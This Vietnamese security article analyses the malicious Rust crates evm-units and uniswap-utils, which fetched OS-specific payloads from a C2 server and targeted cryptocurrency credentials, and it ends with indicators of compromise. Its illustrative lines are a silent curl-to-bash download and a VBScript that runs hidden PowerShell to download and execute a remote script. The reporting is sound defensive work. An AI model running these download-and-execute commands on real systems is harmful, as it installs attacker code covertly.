Nguy hiểm: Mã độc Rust `evm-units` tấn công chuỗi cung ứng

Chuỗi cung ứng phần mềm mã nguồn mở gần đây đã đối mặt với một mối đe dọa tinh vi dưới dạng mã độc Rust có tên evm-units. Thư viện độc hại này được tác giả ablerust xuất bản, ngụy trang thành một công cụ tiêu chuẩn để xác minh phiên bản Ethereum Virtual Machine (EVM).
Trước khi bị gỡ bỏ, gói phần mềm này đã tích lũy hàng nghìn lượt tải xuống, gây ra một tấn công chuỗi cung ứng phần mềm tiềm tàng cho nhiều nhà phát triển. Mặc dù thư viện dường như thực hiện các kiểm tra phiên bản hợp pháp, nó lại ẩn chứa một trình tải payload phức tạp, âm thầm xâm phạm hệ thống ngay sau khi thực thi.
Cơ chế Lây nhiễm và Kỹ thuật Khai thác của Mã độc Rust
Vector tấn công chính của mã độc tập trung vào hàm get_evm_version(). Thay vì chỉ trả về số phiên bản như mong đợi, hàm này thực hiện giải mã một chuỗi Base64 để truy xuất URL máy chủ điều khiển và ra lệnh (C2) từ xa. Đây là bước đầu tiên trong quá trình thiết lập quyền kiểm soát không mong muốn trên hệ thống nạn nhân.
Cuộc tấn công được khuếch đại thông qua một gói phụ khác, uniswap-utils, vốn phụ thuộc vào evm-units. Gói phụ này tự động kích hoạt mã độc hại trong quá trình khởi tạo thông qua thuộc tính #[ctor::ctor]. Kỹ thuật chuỗi phụ thuộc thông minh này cho phép mã độc lây nhiễm vào môi trường của các nhà phát triển mà không yêu cầu tương tác trực tiếp với crate độc hại, biến một công cụ hỗ trợ tưởng chừng vô hại thành một con ngựa Trojan.
Tải Payload Đa Nền tảng và Nhận diện Hệ điều hành
Các nhà phân tích bảo mật tại Socket.dev đã xác định trọng tâm rõ rệt của mã độc này vào việc ẩn mình và né tránh có mục tiêu sau khi phân tích hành vi của crate. Nghiên cứu của họ đã chỉ ra rằng việc thực thi payload được tùy chỉnh cao dựa trên hệ điều hành của nạn nhân.
Mã độc sử dụng các tiêu đề User-Agent cụ thể như linux, darwin, hoặc win32 để tìm nạp các payload tương thích. Sự tinh vi của mã độc thể hiện rõ nhất trong hàm nội bộ check(), nơi nó sử dụng các thuộc tính biên dịch có điều kiện của Rust là #[cfg(target_os)] để điều chỉnh quá trình thực thi.
Điều này cho phép kẻ tấn công triển khai các payload được tối ưu hóa cho từng môi trường cụ thể, tăng cường hiệu quả của cuộc tấn công chuỗi cung ứng phần mềm.
Chi tiết Khai thác trên Linux và macOS
Trên các hệ điều hành Linux và macOS, mã độc tải xuống một script vào thư mục tạm thời và thực thi nó bằng lệnh nohup. Việc sử dụng nohup có mục đích ngăn chặn hiển thị bất kỳ đầu ra nào trên terminal, đảm bảo nạn nhân không nhận thấy hoạt động của mã độc. Điều này thể hiện một nỗ lực đáng kể để duy trì tính tàng hình và tránh bị phát hiện.
Ví dụ về cách thức thực thi có thể tương tự như sau:
curl -sS <MALICIOUS_URL>/payload.sh | bash -s -- >/dev/null 2>&1 &
Lệnh này sẽ tải script từ một URL độc hại và thực thi nó, đồng thời chuyển hướng tất cả đầu ra và lỗi đến /dev/null để giữ im lặng.
Chi tiết Khai thác và Né tránh Antivirus trên Windows
Việc triển khai trên Windows cho thấy mức độ phức tạp cao hơn, bắt đầu bằng việc quét tìm tiến trình qhsafetray.exe, một tiến trình liên quan đến phần mềm diệt virus Qihoo 360. Nếu không phát hiện phần mềm diệt virus này, mã độc sẽ xây dựng một VBScript để khởi chạy một phiên bản PowerShell ẩn.
Set oShell = CreateObject("WScript.Shell")
oShell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ""Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://malicious.c2/payload.ps1')""", 0, False
Ngược lại, nếu phần mềm diệt virus được phát hiện, mã độc sẽ thích nghi bằng cách thực thi PowerShell trực tiếp với các cờ tạo bị chặn (suppressed creation flags). Phương pháp này giúp tránh các cơ chế phát hiện dựa trên heuristic, cho thấy nhận thức sâu sắc về các công cụ phòng thủ hiện có.
Việc sử dụng CreateNoWindow hoặc tương tự trong PowerShell giúp mã độc hoạt động ngầm, giảm thiểu khả năng bị người dùng hoặc hệ thống giám sát phát hiện. Kỹ thuật này làm nổi bật chiến lược né tránh nâng cao, khiến việc phát hiện sớm remote code execution trở nên khó khăn hơn.
Mục tiêu Tấn công và Kỹ thuật Vượt qua Bảo mật Mạng
Việc nhắm mục tiêu chi tiết này cho thấy các tác nhân đe dọa đặc biệt hướng tới việc thu thập thông tin đăng nhập tiền điện tử từ người dùng. Đây là một rủi ro bảo mật nghiêm trọng đối với người dùng cuối, đặc biệt là những người tham gia vào thị trường tiền điện tử.
Bằng cách sử dụng danger_accept_invalid_certs(true), những kẻ tấn công còn đảm bảo tính bền vững cho hạ tầng của chúng, cho phép hoạt động với các chứng chỉ tự ký. Điều này bỏ qua các cơ chế xác thực bảo mật mạng tiêu chuẩn, làm phức tạp nỗ lực chặn các tên miền độc hại và gia tăng nguy cơ của một lỗ hổng zero-day. Tham khảo thêm về phân tích chi tiết tại Socket.dev.
Chỉ số Nhận diện Sự thỏa hiệp (IOCs)
Các chỉ số nhận diện sự thỏa hiệp liên quan đến cuộc tấn công chuỗi cung ứng phần mềm này bao gồm:
- Tên mã độc (Rust crates):
evm-unitsuniswap-utils
- Tiêu đề User-Agent được sử dụng để nhận diện hệ điều hành:
linuxdarwinwin32
- Tiến trình (Windows) được quét để né tránh:
qhsafetray.exe(liên quan đến Qihoo 360)
- Hành vi đáng ngờ:
- Giải mã Base64 để lấy URL C2.
- Sử dụng
nohupđể thực thi script trên Linux/macOS. - Sử dụng VBScript hoặc PowerShell với cờ ẩn trên Windows.
- Kết nối tới các URL C2 bằng chứng chỉ tự ký (do
danger_accept_invalid_certs(true)).









